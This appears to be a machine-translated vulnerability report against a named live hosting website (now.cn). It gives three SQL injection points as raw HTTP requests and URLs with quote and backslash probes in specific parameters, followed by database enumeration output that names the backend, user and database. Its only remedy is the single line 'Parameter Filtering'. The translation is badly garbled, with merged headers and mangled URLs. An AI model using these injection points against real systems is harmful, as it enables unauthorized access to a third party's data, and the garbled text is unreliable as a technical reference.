Domain Name security: SQL Injection and packaging at multiple sites of Guangdong times Internet Main Site

Domain Name security: SQL Injection and packaging at multiple sites of Guangdong times Internet Main Site

Injection Point 1:

 

POST/GProduct/GOrder_submit.net HTTP/1.1Content-Length: 342Content-Type: application/x-www-form-urlencodedReferer: http://www.now.cn: 80/Cookie: PHPSESSID = Limit 2kg; IDReaded_C = % 2C14664; reference = % 21M2OT_236; NOWA = % 2B236_241; Host: www. now. cnConnection: Keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) chrome/41.0.2228.0 Safari/537.21 Accept: */* Submit2 = % e7 % a1 % AE % 20% e5 % AE % 9a & ACC = CN & ACity = San % 20 Francisco & AEmail = sample % 40email. tst & AFax = 317-317-3137 & AMobile = 987-65-4329 & AName = jlsawjdd & AName_GB = jlsawjdd & AOrganization = 1 & AOrganization_GB = 1 & APC = 1 & ASP = 1 & AStreet = 3137% 20 Laguna % 20 Street & AStreet1 = 3137% 20 Laguna % 20 Street & ATel = 1 & chrMemo % 5b % 5d = 1' % 22 & chrProd = & IDProd = & showMess % 5b % 5d = & SSP = 1 & tld % 5b % 5d = parameter chrMemo % 5b % 5d and tld % 5b % 5d Injection

Second injection:
 

Http://www.now.cn/news/media_list.php? Page = % 5c & seach = 1post parameter: Submit = % e6 % 90% 9c % 20% e7 % b4 % a2 & page_variable_names = dmruvwgw & seach = 1page parameter SQL Injection

Third, SQL injection:


 

Http://www.now.cn/web/template.php? Category = 8 & id = % 5c & page = 4 & panel = Consumer id parameter SQL Injection

 

web application technology: Apache, PHP 5.5.18back-end DBMS: MySQL 5.1current user:    '[email protected]%'current user is DBA:    Falseavailable databases [1]:[*] db_now_net_cn

 

Bytes

 

web application technology: Apache, PHP 5.5.18back-end DBMS: MySQL 5.1current user:    '[email protected]%'current user is DBA:    Falseavailable databases [1]:[*] db_now_net_cn

 

Solution:

Parameter Filtering